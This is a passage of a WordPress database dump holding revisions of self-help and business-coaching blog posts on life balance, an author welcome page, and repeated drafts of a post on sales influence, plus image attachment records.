Any exercise that involves physical balance automatically puts the mind in the same state.\r\n\r\n<strong>Pursue your hobbies</strong>\r\nHaving an interest that is outside the realm of “money-making” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\r\n\r\n<strong>Be with your family</strong>\r\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\r\n\r\n<strong>Serve others</strong>\r\nAnytime you are in service to others, you are creating more balance in your own life. The reason is simple–to serve others, the focus is not on you!\r\n\r\n<strong>Everything in moderation</strong>\r\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time, dis-ease becomes disease.\r\n\r\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a top priority.  However, business and financial success alone is not enough for you to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life. </strong>', 'Part II-Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '859-revision-6', '', '', '2010-06-08 14:06:24', '2010-06-08 21:06:24', '', 859, 'http://www.whitehotcenter.com/2010/06/08/859-revision-6/', 0, 'revision', '', 0),
(868, 2, '2010-05-14 16:00:04', '2010-05-14 23:00:04', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love powered by the venue of their business. Here are some success benchmarks many entrepreneurs I have worked with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle mastery and personal effectiveness to create more free time and money to imagine ways to expand your contribution to the world, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery  of effective marketing and business development strategies to grow your  business doing what you love with clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve consulted with executive management, business leaders and their teams in large organizations discover their unique voice, define their organizational identity, and create more compelling value propositions to their customers. I want to use my knowledge and insight to help entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. I want to inspire and guide you to gain more clarity and confidence to pursue your best opportunities.\r\n\r\nYou can learn about my professional background and expertise in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It''s my intention to have the WhiteHotCenter be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibility become achievement.  Inspired thought and disciplined action in equal measure make this happen. Creating success is a life-long process of never ending growth and expansion. If you find the information here to be useful, perhaps you''ll subscribe to receive the posts directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of  us. I look forward to you sharing your thoughts in the  comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-05-14 16:00:04', '2010-05-14 23:00:04', '', 172, 'http://www.whitehotcenter.com/2010/05/14/172-revision-69/', 0, 'revision', '', 0),
(869, 2, '2010-06-14 13:41:46', '2010-06-14 20:41:46', '', 'whc.blogrsssimage144', 0, '', 'inherit', 'open', 'open', '', 'whc-blogrsssimage144', '', '', '2010-06-14 13:41:46', '2010-06-14 20:41:46', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/06/whc.blogrsssimage144.jpg', 0, 'attachment', 'image/jpeg', 0),
(870, 2, '2010-06-14 13:42:25', '2010-06-14 20:42:25', '', 'whcitunes podlogo', 0, '', 'inherit', 'open', 'open', '', 'whcitunes-podlogo', '', '', '2010-06-14 13:42:25', '2010-06-14 20:42:25', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/06/whcitunes-podlogo.jpg', 0, 'attachment', 'image/jpeg', 0),
(871, 2, '2010-06-22 15:45:27', '2010-06-22 22:45:27', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="444" height="281" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your clients-to-be hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients-to-be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your clients-to-be will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm <a href="http://www.pullinc.com" target="_blank">PULL</a>.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h2><span style="color: #808080;">Of course if none of these principles resonate with you, dust off your old copy of Dale Carnegie’s iconic book and give it a good read.</span></h2>', 'How to master the art of influence.', 0, '', 'publish', 'open', 'open', '', 'how-to-master-the-art-of-influence', '', '', '2010-12-27 16:03:18', '2010-12-27 23:03:18', '', 0, 'http://www.whitehotcenter.com/?p=871', 0, 'post', '', 3),
(872, 2, '2010-06-22 15:16:47', '2010-06-22 22:16:47', '', 'influence', 0, '', 'inherit', 'open', 'open', '', 'influence', '', '', '2010-06-22 15:16:47', '2010-06-22 22:16:47', '', 871, 'http://www.whitehotcenter.com/wp-content/uploads/2010/06/influence.gif', 0, 'attachment', 'image/gif', 0),
(873, 2, '2010-06-22 15:21:45', '2010-06-22 22:21:45', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\n\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others. As you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\n\n<strong>Balance your desire for results with strengthened relationships.</strong>\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\n\n<strong>It’s all about them and never you!</strong>\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\n\n<strong>People do things for emotional reasons, not logical ones.</strong>\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\n\n<strong>People want more of what is in short supply.</strong>\nIf you can give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\n\n<strong>People are influenced by how remarkable you are.</strong>\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your people hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\n\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\n\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\n\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\n\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\n\n<strong>People are influenced by people they like and are like them.</strong>\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients to be, there are two questions they need an affirmative answer to:\n<h1><span style="color: #808080;">can you solve my problem?</span></h1>\n<h1><span style="color: #808080;">do I want to work with you?</span></h1>\nThe more common ground you have with your customers will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\n\n<strong>Pulling is more influential than pushing.</strong>\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm PULL.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\n\n<strong>Stand on equal ground, and then elevate all others.</strong>\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\n\nOf course if none of these principles resonate with you, dust of your old copy of Dale Carnegie’s iconic book and give it a good read.', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision', '', '', '2010-06-22 15:21:45', '2010-06-22 22:21:45', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision/', 0, 'revision', '', 0),
(874, 2, '2010-06-22 15:22:46', '2010-06-22 22:22:46', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\n\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others. As you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\n\n<strong>Balance your desire for results with strengthened relationships.</strong>\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\n\n<strong>It’s all about them and never you!</strong>\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\n\n<strong>People do things for emotional reasons, not logical ones.</strong>\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\n\n<strong>People want more of what is in short supply.</strong>\nIf you can give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\n\n<strong>People are influenced by how remarkable you are.</strong>\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your people hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\n\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\n\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\n\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\n\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\n\n<strong>People are influenced by people they like and are like them.</strong>\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients to be, there are two questions they need an affirmative answer to:\n<h1><span style="color: #808080;">can you solve my problem?</span></h1>\n<h1><span style="color: #808080;">do I want to work with you?</span></h1>\nThe more common ground you have with your customers will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\n\n<strong>Pulling is more influential than pushing.</strong>\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm PULL.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\n\n<strong>Stand on equal ground, and then elevate all others.</strong>\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\n<h3>Of course if none of these principles resonate with you, dust of your old copy of Dale Carnegie’s iconic book and give it a good read.</h3>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-2', '', '', '2010-06-22 15:22:46', '2010-06-22 22:22:46', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision-2/', 0, 'revision', '', 0),
(876, 2, '2010-06-22 15:30:36', '2010-06-22 22:30:36', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your people hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients to be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your customers will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm PULL.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h3>Of course if none of these principles resonate with you, dust of your old copy of Dale Carnegie’s iconic book and give it a good read.</h3>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-4', '', '', '2010-06-22 15:30:36', '2010-06-22 22:30:36', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision-4/', 0, 'revision', '', 0);
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(875, 2, '2010-06-22 15:25:41', '2010-06-22 22:25:41', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nIf you can give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your people hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients to be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your customers will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm PULL.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h3>Of course if none of these principles resonate with 